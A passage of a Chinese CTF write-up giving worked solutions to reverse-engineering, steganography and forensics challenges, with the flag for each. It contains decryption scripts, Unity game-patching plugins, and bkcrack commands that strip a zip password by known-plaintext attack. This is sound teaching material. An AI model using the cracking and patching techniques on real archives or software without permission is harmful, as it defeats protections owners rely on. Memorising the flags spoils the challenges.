  uint64_t *heap = malloc(0x400);
  memcpy(heap, encrypted_asm, enc_len);
  ;
  FILE *fp = NULL;
  fp = fopen("sc.bin", "wb");
  if (fp == NULL) {
    printf("failed to create file\n");
    free(heap);
    return 1;
  }

  size_t written = fwrite(heap, 1, enc_len, fp);
  if (written != enc_len) {
    printf("failed to write in file\n", written, enc_len);
    fclose(fp);
    free(heap);
    return 1;
  }

  fclose(fp);
  free(heap);
  printf("successfully write in binary string\n");
}

然后ida打开shellcode文件,模式选x86

int __usercall sub_0@<eax>(int a1@<edi>, int n31@<esi>)
{
  int v2; // eax
  int result; // eax
  char v8; // [esp+11h] [ebp-17Fh]
  char v9; // [esp+13h] [ebp-17Dh]
  int i; // [esp+14h] [ebp-17Ch]
  int v11; // [esp+18h] [ebp-178h]
  __int16 v12; // [esp+18h] [ebp-178h]
  int j; // [esp+1Ch] [ebp-174h]
  __int16 v14; // [esp+20h] [ebp-170h]
  int v15; // [esp+24h] [ebp-16Ch]
  unsigned int k; // [esp+28h] [ebp-168h]
  unsigned int m; // [esp+30h] [ebp-160h]
  _BYTE zsmzsm[38]; // [esp+3Ah] [ebp-156h] BYREF
  _BYTE v19[296]; // [esp+60h] [ebp-130h]
  int v20; // [esp+188h] [ebp-8h]

  v20 = *(_DWORD *)((char *)&loc_27 + 1) - 1;
  if ( n31 == 31 )
  {
    qmemcpy(zsmzsm, "zsmzsm", 6);
    for ( i = 0; i <= 255; ++i )
      v19[(__int16)(i - 1) + 32] = i;
    v11 = 0;
    for ( j = 0; j <= 255; ++j )
    {
      HIWORD(_ECX) = HIWORD(j);
      _AX = v11 - 1;
      __asm { arpl    cx, ax }
      _EAX = 6 * (715827883 * (v11 - 2) - 2 - (_ECX >> 31)) - 1;
      __asm { arpl    dx, ax }
      v11 = (unsigned __int8)(v19[(__int16)(j - 1) + 32] + v11 + zsmzsm[_EAX]);
      v9 = v19[(__int16)(j - 1) + 32];
      v19[(__int16)(j - 1) + 32] = v19[(__int16)(v11 - 1) + 32];
      v19[(__int16)(v11 - 1) + 32] = v9;
    }
    LOBYTE(v14) = 0;
    LOBYTE(v12) = 0;
    for ( k = 0; k <= 0x1E; ++k )
    {
      v14 = (unsigned __int8)(v14 + 1);
      v12 = (unsigned __int8)(v19[(__int16)(v14 - 1) + 32] + v12);
      v8 = v19[(__int16)(v14 - 1) + 32];
      v19[(__int16)(v14 - 1) + 32] = v19[(__int16)(v12 - 1) + 32];
      v19[(__int16)(v12 - 1) + 32] = v8;
      zsmzsm[k + 6] = (v19[(__int16)((unsigned __int8)(v19[(__int16)(v14 - 1) + 32] + v19[(__int16)(v12 - 1) + 32]) - 1)
                         + 32]
                     ^ *(_BYTE *)(a1 + k - 1))
                    - 3;
    }
    v19[0] = -121;
    v19[1] = 83;
    v19[2] = 81;
    v19[3] = 63;
    v19[4] = -44;
    v19[5] = 18;
    v19[6] = 51;
    v19[7] = -66;
    v19[8] = 42;
    v19[9] = 61;
    v19[10] = 61;
    v19[11] = 52;
    v19[12] = -73;
    v19[13] = -79;
    v19[14] = 109;
    v19[15] = -80;
    v19[16] = -52;
    v19[17] = 66;
    v19[18] = -117;
    v19[19] = 32;
    v19[20] = -87;
    v19[21] = 40;
    v19[22] = 79;
    v19[23] = 18;
    v19[24] = -54;
    v19[25] = 109;
    v19[26] = 101;
    v19[27] = 5;
    v19[28] = 52;
    v19[29] = 46;
    v19[30] = -98;
    v15 = 1;
    for ( m = 0; m <= 0x1E; ++m )
    {
      if ( zsmzsm[m + 5] != v19[m - 1] )
      {
        v15 = 0;
        break;
      }
    }
    v2 = v15;
  }
  else
  {
    v2 = 0;
  }
  result = v2 - 2;
  if ( v20 != *(_DWORD *)((char *)&loc_27 + 1) )
    return MEMORY[0xFFFFFEF7](n31);
  return result;
}

观察到伪代码发现其先初始化了一个S盒

for ( i = 0; i <= 255; ++i )
      v19[(__int16)(i - 1) + 32] = i;

然后用秘钥打乱了他

v11 = 0;
for (j = 0; j <= 255; ++j) {
  v11 = (unsigned __int8)(v19[(__int16)(j - 1) + 32] + v11 + zsmzsm[_EAX]);
  v9 = v19[(__int16)(j - 1) + 32];
  v19[(__int16)(j - 1) + 32] = v19[(__int16)(v11 - 1) + 32];
  v19[(__int16)(v11 - 1) + 32] = v9;
}

最终生成了一段随机字节并与参数内容xor

for (k = 0; k <= 0x1E; ++k) {
  v14 = (unsigned __int8)(v14 + 1);
  v12 = (unsigned __int8)(v19[(__int16)(v14 - 1) + 32] + v12);

  v8 = v19[(__int16)(v14 - 1) + 32];
  v19[(__int16)(v14 - 1) + 32] = v19[(__int16)(v12 - 1) + 32];
  v19[(__int16)(v12 - 1) + 32] = v8;

  zsmzsm[k + 6] = (v19[(__int16)((unsigned __int8)(v19[...]+v19[...]) - 1) + 32] ^ *(_BYTE *)(a1 + k - 1)) - 3;
}

于是猜测加密算法为rc4,设秘钥为zsmzsm,密文为v19[]

#include <stdint.h>
#include <stdio.h>
#include <string.h>

#define DATA_LEN 31
#define RC4_KEY "zsmzsm"
#define RC4_KEY_LEN 6

void rc4_decrypt(const uint8_t *cipher, uint8_t *plaintext) {
  uint8_t S[256];
  int i, j;

  for (i = 0; i < 256; i++) {
    S[i] = (uint8_t)i;
  }

  j = 0;
  for (i = 0; i < 256; i++) {
    j = (j + S[i] + RC4_KEY[i % RC4_KEY_LEN]) & 255;
    uint8_t t = S[i];
    S[i] = S[j];
    S[j] = t;
  }

  i = 0;
  j = 0;
  for (size_t t = 0; t < DATA_LEN; t++) {
    i = (i + 1) & 255;
    j = (j + S[i]) & 255;

    uint8_t x = S[i];
    S[i] = S[j];
    S[j] = x;

    uint8_t K = S[(S[i] + S[j]) & 255];

    plaintext[t] = cipher[t] ^ K;
  }
}

int main() {
  uint8_t expected[DATA_LEN] = {0x87, 0x53, 0x51, 0x3f, 0xd4, 0x12, 0x33, 0xbe,
                                0x2a, 0x3d, 0x3d, 0x34, 0xb7, 0xb1, 0x6d, 0xb0,
                                0xcc, 0x42, 0x8b, 0x20, 0xa9, 0x28, 0x4f, 0x12,
                                0xca, 0x6d, 0x65, 0x05, 0x34, 0x2e, 0x9e};
  uint8_t plaintext[DATA_LEN + 1] = {};

  rc4_decrypt(expected, plaintext);

  printf("result: %s\n", plaintext);
  return 0;
}
./exp_2
result: xujc{simple_self_modified_code}

signin

ida/记事本打开即可看到flag string:xujc{IDA_a_powerful_tool}

why_cant_decompile

ida打开发现程序流糊在一起了,并且有大量非代码字节,于是猜测使用加壳

使用工具Detect It Easy检查文件发现加了upx压缩壳

packer    UPX(4.02)[NRV,best]
linker    Microsoft Linker(14.50**)[Console64,console]

于是通过upx.exe -d filename拖壳,然后再用ida打开,直接看到flag:xujc{ez_upx}

xtea

经典xtea轮加密板子题,程序也没去符号,网上随便找个exp都能解

main函数开头得到四组key

key[4] = {0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344};

strcmp处得到密文40e26fcef1784c1e05977486599ad669df8c055df2049ae89c1f62454c2596de

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void pack_le(const uint8_t *in, uint32_t v[2]) {
  v[0] = (uint32_t)in[0] | ((uint32_t)in[1] << 8) | ((uint32_t)in[2] << 16) |
         ((uint32_t)in[3] << 24);
  v[1] = (uint32_t)in[4] | ((uint32_t)in[5] << 8) | ((uint32_t)in[6] << 16) |
         ((uint32_t)in[7] << 24);
}

static void unpack_le(const uint32_t v[2], uint8_t *out) {
  out[0] = (uint8_t)(v[0] & 0xFF);
  out[1] = (uint8_t)((v[0] >> 8) & 0xFF);
  out[2] = (uint8_t)((v[0] >> 16) & 0xFF);
  out[3] = (uint8_t)((v[0] >> 24) & 0xFF);
  out[4] = (uint8_t)(v[1] & 0xFF);
  out[5] = (uint8_t)((v[1] >> 8) & 0xFF);
  out[6] = (uint8_t)((v[1] >> 16) & 0xFF);
  out[7] = (uint8_t)((v[1] >> 24) & 0xFF);
}

static void xtea_decrypt(uint32_t v[2], const uint32_t k[4]) {
  uint32_t v0 = v[0], v1 = v[1];
  const uint32_t delta = 0x9E3779B9;
  uint32_t sum = 0xC6EF3720;

  for (int i = 0; i < 32; i++) {

    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + k[(sum >> 11) & 3]);
    sum -= delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + k[sum & 3]);
  }

  v[0] = v0;
  v[1] = v1;
}

static uint8_t *hex_to_bin(const char *hex, size_t *out_len) {
  size_t hex_len = strlen(hex);
  if (hex_len % 2 != 0)
    return NULL;

  *out_len = hex_len / 2;
  uint8_t *bin = (uint8_t *)malloc(*out_len);
  if (!bin)
    return NULL;

  for (size_t i = 0; i < *out_len; i++) {
    char c_high = hex[2 * i];
    char c_low = hex[2 * i + 1];

    uint8_t high = (c_high >= '0' && c_high <= '9')   ? (c_high - '0')
                   : (c_high >= 'a' && c_high <= 'f') ? (c_high - 'a' + 10)
                   : (c_high >= 'A' && c_high <= 'F') ? (c_high - 'A' + 10)
                                                      : 0;
    uint8_t low = (c_low >= '0' && c_low <= '9')   ? (c_low - '0')
                  : (c_low >= 'a' && c_low <= 'f') ? (c_low - 'a' + 10)
                  : (c_low >= 'A' && c_low <= 'F') ? (c_low - 'A' + 10)
                                                   : 0;

    bin[i] = (high << 4) | low;
  }

  return bin;
}

static uint8_t *xtea_decrypt_buffer(const uint8_t *in, size_t len,
                                    const uint32_t key[4], size_t *out_len) {
  if (len % 8 != 0)
    return NULL;

  *out_len = len;
  uint8_t *out = (uint8_t *)malloc(*out_len);
  if (!out)
    return NULL;

  for (size_t i = 0; i < len; i += 8) {
    uint32_t v[2];
    pack_le(in + i, v);
    xtea_decrypt(v, key);
    unpack_le(v, out + i);
  }

  return out;
}

int main() {
  const uint32_t key[4] = {0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344};
  const char *hex_flag =
      "40e26fcef1784c1e05977486599ad669df8c055df2049ae89c1f62454c2596de";

  size_t bin_len;
  size_t decrypt_len;
  uint8_t *bin_cipher = NULL;
  uint8_t *decrypt_buf = NULL;

  bin_cipher = hex_to_bin(hex_flag, &bin_len);
  if (!bin_cipher) {
    printf("十六进制转二进制失败\n");
    return 1;
  }
  printf("二进制密文长度:%zu 字节\n", bin_len);

  decrypt_buf = xtea_decrypt_buffer(bin_cipher, bin_len, key, &decrypt_len);
  if (!decrypt_buf) {
    printf("XTEA解密失败\n");
    free(bin_cipher);
    return 1;
  }

  if (decrypt_len == 0) {
    printf("解密后为空\n");
    free(bin_cipher);
    free(decrypt_buf);
    return 1;
  }
  uint8_t pad_len = decrypt_buf[decrypt_len - 1];
  if (pad_len < 1 || pad_len > 8) {
    printf("填充格式错误\n");
    free(bin_cipher);
    free(decrypt_buf);
    return 1;
  }
  size_t plain_len = decrypt_len - pad_len;

  printf("=== XTEA解密结果 ===\n");
  printf("明文长度:%zu 字节\n", plain_len);
  printf("明文(ASCII):");
  for (size_t i = 0; i < plain_len; i++) {
    putchar(decrypt_buf[i]);
  }
  printf("\n");
  printf("明文(十六进制):");
  for (size_t i = 0; i < plain_len; i++) {
    printf("%02x ", decrypt_buf[i]);
  }
  printf("\n");

  free(bin_cipher);
  free(decrypt_buf);
  return 0;
}

得到flag: xujc{xtea_is_not_drinkable}

unity_intro

unity引擎题,不能直接看.exe因为主逻辑不在这,上网查阅资料后可得知主逻辑存在./projectName_Data/Managed/Assembly-CSharp.dll里,该dll需要用dnspyc#反编译工具分析

点开主类CamBehavior得到如下代码

using System;
using UnityEngine;

// Token: 0x02000002 RID: 2
public class CamBehavior : global::UnityEngine.MonoBehaviour
{
    // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
    public void Start()
    {
        base.transform.rotation = global::UnityEngine.Quaternion.AngleAxis(global::CamBehavior.rotationAngle, global::UnityEngine.Vector3.up) * base.transform.rotation;
    }

    // Token: 0x06000002 RID: 2 RVA: 0x0000207C File Offset: 0x0000027C
    public void Update()
    {
    }

    // Token: 0x06000003 RID: 3 RVA: 0x0000207E File Offset: 0x0000027E
    public CamBehavior()
    {
    }

    // Token: 0x04000001 RID: 1
    public static float rotationAngle;
}

Start()为类初始化时调用的函数,Update()为每一个游戏刻该类会进行的操作

读完后发现该类只通过rotationAngle变量设置了水平视角为朝向正前方,没有有用信息

无奈只得运行程序

image_of_hint

得到提示需要转身

解法1

回想起Assembly-CSharp.dll内的逻辑,通过dnspy编辑类功能更改rotationAngle180f,然后用dnspy默认配置重新编译Assembly-CSharp.dll再运行游戏即可得到flag

解法2

如果了解过unity游戏注入,那你一定听过BepInEx的大名,再次不过多介绍,可以理解成一个帮你把c#编译的dll注入到游戏内的平台,并且其提供了很多方便更改程序原逻辑的功能,比如函数hook,内存特定类检索,反射操作,字节patch等

观察到rotationAngle的类型为public,于是直接写dll热更改其值为180f

using BepInEx;
using UnityEngine;
using UnityEngine.SceneManagement;

namespace test
{
    [BepInPlugin("com.example.camrotationfix", "Cam Rotation Hack", "1.0.0")]
    public class CamRotationPlugin : BaseUnityPlugin
    {
        private void Start()
        {
            CamBehavior.rotationAngle = 180f;
        }
    }
}

dll放入./BepInEx/plugins文件夹下再运行程序即可拿到flag

flag

flag{EZ_UNITY_HACK}

点击下载exp.zip

unity_intro_revenge

因为dnspy静态patch是非预期解法(出完题才想到),于是出了该revenge避免非预期

这题和上一题唯一的区别是Assembly-CSharp.dll内为空,没法通过简单的修改值来转身

虽然Assembly-CSharp.dll里没有明确调用设置视角,但是我们知道视角值是默认变量,其肯定存在于实例内,我们只要找到后自行修改即可

于是使用FindObjectOfType操作找内存中所有的CamBehavior实例,直接定义它的rotation180f

using BepInEx;
using UnityEngine;
using UnityEngine.SceneManagement;

namespace test
{
    [BepInPlugin("com.example.camrotationfix", "Cam Rotation Hack", "1.0.0")]
    public class CamRotationPlugin : BaseUnityPlugin
    {
        private CamBehavior _targetCamBehavior;

        private void Start()
        {
            SceneManager.sceneLoaded += OnSceneLoaded; // 防止过早的执行,导致搜索不到目标类
            FindCamBehaviorInCurrentScene();
        }

        private void OnSceneLoaded(Scene scene, LoadSceneMode mode)
        {
            FindCamBehaviorInCurrentScene();
        }

        private void FindCamBehaviorInCurrentScene()
        {
            _targetCamBehavior = FindObjectOfType<CamBehavior>();

            if (_targetCamBehavior != null)
            {
                _targetCamBehavior.transform.rotation =
                    Quaternion.AngleAxis(180f, Vector3.up) * _targetCamBehavior.transform.rotation;
            }
        }

        private void OnDestroy()
        {
            SceneManager.sceneLoaded -= OnSceneLoaded;
        }
    }
}

flag

点击下载exp.zip

Misc

我就是二维码!

你可以直接扫描二维码,可以得到“非常棒,可以找到这里已经是找到flag的一半了,试试把文件后缀名(QRCode.png的[.png]即为文件后缀名,若是你的电脑显示这张图片的名字为QRCode,建议利用搜索引擎查一下如何显示后缀名)改成[.txt],用记事本打开看看最下面。”你完全可以照着做,在记事本的最下面就可以看到flag,当然我还是推荐你下载一个010Editor或者WINHEX,这样更方便。

flag:xujc{tH15_i5_7h3_easi3st_M15c}


报告阿sir,乜系文件格式啊?

题目提到文件格式,我们用010Editor打开看看两个图片,发现那个打不开的图片相较于可以打开的图片16进制数据流开头少了89 50 4E 47 0D 0A 1A 0A,补上就可打开了。 flag:xujc{yep_man_yuo_get_true_photo}


和ISS通讯

可以通过搜索“如何与iss通讯”或者“慢扫电视”都可以搜到业余无线电中一个传输图片的手段“sstv”,你可以使用工具qsstv或者其他,甚至可以直接搜sstv解码在线,把音频放进去就可以看到flag了。 flag:xujc{sStV_1S_s0_1NT3r3st1Ng}


最低位的吻

题目名称是最低位的吻,是致敬同名题目,但是稍作简化,最低位想到lsb隐写,这是misc的必备要求,使用StegSolve,打开后应该是这样的image-20251205160205559

这个软件可以直接将文件拖入软件空白处导入文件,也可以选择file->open来导入,导入后正下方的左右两个按钮可以进行改变图层,注意看上面的描述部分可以知道具体是什么通道,这道题我简化了,不需要去查找通道,用的是我兴趣课上讲的红色,绿色,蓝色的0通道隐写,没上过兴趣课通过搜索题目中提到的“图片 最低位”也是可以lsb隐写,而且这个操作和网上所有入门操作一模一样,照着网上的也是可以做出来的image-20251205161144904

image-20251205161326338

image-20251205161338912

你还可以使用Linux工具——zsteg,使用

zsteg -a filename

也可以做,而且这个方法不需要你来分析信息隐写在哪个通道,但是如果是一些直接把类似二维码这类纯色信息隐藏在通道的方法就无法完成了。

flag:xujc{lsb_easy_for_you}


我喜欢摇滚乐

正常听歌没发现什么问题,010打开发现其实是藏了一个压缩包,里面有flag1和另外一首歌,看题目提到“文件的深处有类似的声音传出”深处声音DeepSound,可以得到flag2。 flag:xujc{this_is_ture_rock_muisc}


lovebrain

下载后得到fuckbrain.txt,其实这个编码应该叫brainfuck,但我这里用的不是bf,只是我为了不那么明显(我是sb musc出题人),然后无论你查fuck什么什么编码还是直接拿"[][(![]+[])[+[]]+(![]+[])[!+[“去查,都应该能查到一个叫jsfuck的编码,image-20251204090647924

你可以解码得到一个html文本,其实flag就在眼前,那串base64,就能解出来,但是你把文件保持下来然后加个html后缀

image-20251204091038859

大家做题的时候可以欣赏一下我的屎代码qwq。

flag:xujc{haha_fuck_you_js}


你爱我~我爱你~蜜雪冰城甜蜜蜜~

看到繁体字,排查中国的香港澳门台湾地区,蜜雪冰城在中国台湾没有门店,因此只排查香港澳门,中国电信又在香港没有门店,因此只排查澳门。将电信与蜜雪冰城交叉比对可以得出答案。

flag:xujc{蜜雪冰城(天神巷店)}


疑惑基础为什么是飞鸟

下载文件后发现有个zip,分离出来后发现里面包含了一个压缩包,压缩包里面有一个名为xor的文件,xor是需要一个key来运行的就去找这个key,然后在lsb发现了image-20251204093706360

cyberchef处理一下得到

image-20251204093725955

发现下面是很多的base64image-20251204094043017

但是单个有没什么用,其实这个是base64隐写

在对长度非3的倍数的字符串进行Base64编码过程中,进行转换为二进制字串这一步骤会在末尾添加0,而解码过程中之前添加的0则会被舍弃。

而base64隐写产生的原因就在于,添加的0字符在进行base64解码时会被舍弃,这意味着在这一步骤添加的二进制值可以不全为0,这并不影响解码结果。

Terra这一字符串的长度为5,非3的倍数,在转为6位二进制字串时添加了两个0(红色加粗部分)。编码后的结果为VGVycmE=:

在这里插入图片描述

倘若添加的二进制值不全为0,虽然会改变“=”号前最后一个字符的值,使编码后的字符串变为VGVycmH=。但该字符串进行Base64解码的结果依然是Terra:

在这里插入图片描述

末尾有两个“=”字符的编码字符串同样如此,Lucy字符串正常编码应为THVjeQ==

在这里插入图片描述

修改后为THVjeV==,同上,进行base64解码结果依然是Lucy

在这里插入图片描述

若像这样对多个base64编码字符串结尾进行修改,即可隐藏更多的信息,这就是base64隐写。

用脚本就可以做

# base64隐写
import base64
def get_diff(s1, s2):
    base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    res = 0
    for i in range(len(s2)):
        if s1[i] != s2[i]:
            return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
    return res


def b64_stego_decode():
    file = open("flag.txt","rb")
    x = ''                                      # x即bin_str
    lines =  file.readlines()
    for line in lines:
        l = str(line, encoding = "utf-8")
        stego = l.replace('\n','')
        #print(stego)
        realtext = base64.b64decode(l)
        #print(realtext)
        realtext = str(base64.b64encode(realtext),encoding = "utf-8")
        #print(realtext)
        diff = get_diff(stego, realtext)        # diff为隐写字串与实际字串的二进制差值
        n = stego.count('=')
        if diff:
            x += bin(diff)[2:].zfill(n*2)
        else:
            x += '0' * n*2
            
    i = 0
    flag = ''
    while i < len(x):
        if int(x[i:i+8],2):
            flag += chr(int(x[i:i+8],2))
        i += 8
    print(flag)

if __name__ == '__main__':
    b64_stego_decode()

image-20251204101132719

flag:xujc{Stray_Birds_so_great}


明文的秘密

根据题目名提示‘明文’,可以知道压缩包需要进行明文爆破,还有题目描述中写的’大家一样也是看的见的明文‘,可知是文件名明文爆破,我们需要用到工具是bkcrack,本题有两种解法:

1(简单):打开压缩包发现有exe和png,png的文件头的

89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

部分是固定的,如下图第一行所示:image-20251204080654347

如果你用的是Linux\Mac,可以直接使用:

echo -n "89504E470D0A1A0A0000000D49484452" | xxd -r -ps > mingwen

然后再使用工具进行爆破

bkcrack -C flag.zip -c flag/flag.png -p mingwen

如果是Windows,第一步需要在010Editor中进行你需要新建一个hex文件(也可以使用快捷键crtl+shift+n),然后在hex栏进行粘贴(crtl+shift+v),保存为你喜欢的文件名即可;然后使用工具在终端运行。

爆破结束后你会获得三个key,类似下图:

image-20251204083337746

然后使用:

bkcrack -C flag.zip -c flag.png -k key1 key2 key3  -D out.zip

就可以去除压缩包的密码了

2(快捷):压缩包里面还有一个exe,所有exe都有一个共同部分:image-20251204083704271

偏移为0x0040到0x0070的部分image-20251204084012931

的DOS存根,所有exe程序MZ头可能会变但是DOS存根不会变,这部分也可以作为明文做法如下

echo -n "0E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000" | xxd -r -ps > mingwen
bkcrack -C flag.zip -c flag.exe -p mingwen -o 64
bkcrack -C flag.zip -c flag.exe -k key1 key2 key3  -D out.zip

就可以解开压缩包

我们运行exe发现出来的内容是字节流,但无法直接解码,我们将exe放入ida进行反编译

image-20251204085642651

flag:xujc{i_l0v3_tkkctf!}


WandB

下载附件, 得到图片 white_and_black.jpeg查询文件 exif 信息得到 备注: xujc{flag_is_you,

white_and_black

同时判断该图片本身为二进制像素组合,转写如下

01011111

01100001

01101110

01100100

01011111

01101101

01100101

01111101

将该组合视作 utf-8 文本,解码得到 _and_me}组合 flag,得出 flag。

flag:xujc{flag_is_you_and_me}


二按维位码取

看题目和下载出来的二维码能想到,应该是两张图片,按照一定特殊方式提取例如二按维位码取可以隔位取为二维码按位取,写个脚本。

import numpy as np
from PIL import Image
import cv2
import os

def recover_qr_from_600x600_merged(merged_image_path, output_qr_path="recovered_qr.jpg"):
    """
    从600×600区块融合图中恢复二维码
    :param merged_image_path: 600×600融合图的路径
    :param output_qr_path: 恢复后的二维码保存路径
    :return: 恢复后的二维码图片对象
    """
    # ====================== 固定参数(匹配12像素区块规则) ======================
    MODULE_SIZE_PX = 12         # 单个模块/区块尺寸(12像素)
    QR_MODULE_NUM = 21          # 二维码总模块数(21×21)
    QR_REGION_PX = 21 * 12      # 二维码总尺寸(252×252像素)
    BASE_SIZE = 300             # 原始二维码基础尺寸(300×300)

    # 1. 读取600×600融合图
    try:
        merged_img = Image.open(merged_image_path).convert("RGB")
        merged_arr = np.array(merged_img)  # (600, 600, 3)
        print(f"✅ 成功读取融合图:{merged_image_path}")
    except Exception as e:
        raise ValueError(f"读取融合图失败:{e}")

    # 2. 检查融合图尺寸是否为600×600
    if merged_arr.shape[0] != 600 or merged_arr.shape[1] != 600:
        raise ValueError(f"融合图尺寸错误!要求600×600,当前为{merged_arr.shape[1]}×{merged_arr.shape[0]}")

    # 3. 创建300×300画布用于恢复二维码(背景白色,提升识别率)
    recovered_arr = np.ones((BASE_SIZE, BASE_SIZE, 3), dtype=np.uint8) * 255

    # 4. 计算二维码在300×300画布中的居中偏移
    qr_offset_x = (BASE_SIZE - QR_REGION_PX) // 2  # (300-252)/2 = 24像素
    qr_offset_y = (BASE_SIZE - QR_REGION_PX) // 2

    # 5. 核心:提取偶数列12像素区块,还原二维码模块
    for qr_block_y in range(QR_MODULE_NUM):  # 遍历二维码行模块(0~20)
        for qr_block_x in range(QR_MODULE_NUM):  # 遍历二维码列模块(0~20)
            # ---------------- 步骤1:定位融合图中的目标区块 ----------------
            # 融合图中偶数列区块索引 = 二维码模块索引 × 2(仅提取偶数列)
            merged_block_x = qr_block_x * 2
            merged_block_y = qr_block_y * 2

            # 计算融合图中该区块的像素范围(12像素/区块)
            mx1 = merged_block_x * MODULE_SIZE_PX
            mx2 = (merged_block_x + 1) * MODULE_SIZE_PX
            my1 = merged_block_y * MODULE_SIZE_PX
            my2 = (merged_block_y + 1) * MODULE_SIZE_PX

            # 防止越界(理论上不会触发,600≥21×2×12=504)
            mx2 = min(mx2, 600)
            my2 = min(my2, 600)

            # ---------------- 步骤2:定位恢复后二维码的模块位置 ----------------
            # 计算300×300画布中该二维码模块的像素范围
            rx1 = qr_offset_x + qr_block_x * MODULE_SIZE_PX
            rx2 = qr_offset_x + (qr_block_x + 1) * MODULE_SIZE_PX
            ry1 = qr_offset_y + qr_block_y * MODULE_SIZE_PX
            ry2 = qr_offset_y + (qr_block_y + 1) * MODULE_SIZE_PX

            # ---------------- 步骤3:提取并缩放填充 ----------------
            # 从融合图中提取该区块像素
            extracted_block = merged_arr[my1:my2, mx1:mx2]
            # 缩放为12×12像素(匹配二维码模块尺寸)
            extracted_block_scaled = cv2.resize(
                extracted_block, 
                (rx2 - rx1, ry2 - ry1), 
                interpolation=cv2.INTER_NEAREST  # 最近邻插值,保留像素锐度
            )
            # 填充到恢复后的二维码画布
            recovered_arr[ry1:ry2, rx1:rx2] = extracted_block_scaled

    # 6. 优化二维码对比度(提升扫码识别率)
    # 转换为灰度图→二值化→转回RGB(可选,根据实际效果调整)
    gray = cv2.cvtColor(recovered_arr, cv2.COLOR_RGB2GRAY)
    _, binary = cv2.threshold(gray, 127, 255, cv2.THRESH_BINARY)
    recovered_arr = cv2.cvtColor(binary, cv2.COLOR_GRAY2RGB)

    # 7. 保存恢复后的二维码
    recovered_img = Image.fromarray(recovered_arr.astype(np.uint8))
    recovered_img.save(output_qr_path)

    print("="*50)
    print(f"✅ 二维码恢复完成!")
    print(f"📌 恢复后的二维码保存路径:{output_qr_path}")
    print(f"📌 二维码模块尺寸:{MODULE_SIZE_PX}像素/模块")
    print(f"📌 二维码总尺寸:{QR_REGION_PX}×{QR_REGION_PX}像素(居中在300×300画布)")
    print("="*50)

    return recovered_img

# ====================== 使用示例 ======================
if __name__ == "__main__":
    # 请修改为你的600×600融合图路径
    MERGED_IMAGE_PATH = "1.png"
    # 恢复后的二维码保存路径
    RECOVERED_QR_PATH = "2.png"

    # 检查融合图是否存在
    if not os.path.exists(MERGED_IMAGE_PATH):
        print(f"❌ 错误:找不到融合图 {MERGED_IMAGE_PATH}")
    else:
        # 执行二维码恢复
        recover_qr_from_600x600_merged(MERGED_IMAGE_PATH, RECOVERED_QR_PATH)

就可以得到恢复的二维码。

扫码拿到flag:xujc{byte_by_byte}


DiskForensics

下载附件,得到一个后缀为 E01的文件,我们用FTK Image做image-20251204104726972

导入后先看看内容在桌面找到了image-20251204104923016

完成(bushi)

我们再找找,在C盘下面发现一个很奇怪的东西image-20251204110356147

iamflag.hahaha,但是没有文件拓展名是hahaha的先提取出来,再找找其他地方,在图片中找到一张图片image-20251204110545123

因为我改了宽高所以没法放进来md里面,我们改宽高得到true-修复高宽

然后继续找在programfile中找到了image-20251204110748011

发现是加密软件image-20251204110938665

我们挂着上文件密码是上面的iampasswordimage-20251204111026218

就在挂载盘中找到了flag

flag:xujc{haha_this_is_forensics}


MemForensics

下载附件,得到一个后缀为 mem 的文件因为该题为取证赛道,题目提示为内存取证,因此使用 volatility3 进行处理使用指令 vol.py image-20251204084653509

由此获得该快照的具体信息,其中 PAE 为 false,可以直接进行下一步取证根据题目信息,该题需要扫描环境变量使用指令 vol.py -m file.mem windows.envars.Envars > output.log得到一个文件,在内部搜索 xujc 后,得到 flag 。image-20251204084724907

flag : xujc{this_is_mem_forensics}


openwrt

该题提供了一个 bin 文件,据题目所述是 vmdk 文件,因此在 vmware 创建一个新的虚拟机,并指定该文件为硬盘 image-20251204111420373

开启虚拟机,并在提示后按 enter 进入控制台 image-20251204111441643

需要进入其后台查看,使用 ip addr show 查看 image-20251204111509869

发现该系统存在内网 ip 192.168.134.23,直接访问 image-20251204111529260

该系统没有设置密码,因此可以直接登录遍历网页,在/cgi-bin/luci/admin/system/system 处发现 flagimage-20251204111545103

flag:xujc{cool_openwrt}


调查问卷

你得Misc全部填5分才能拿到flag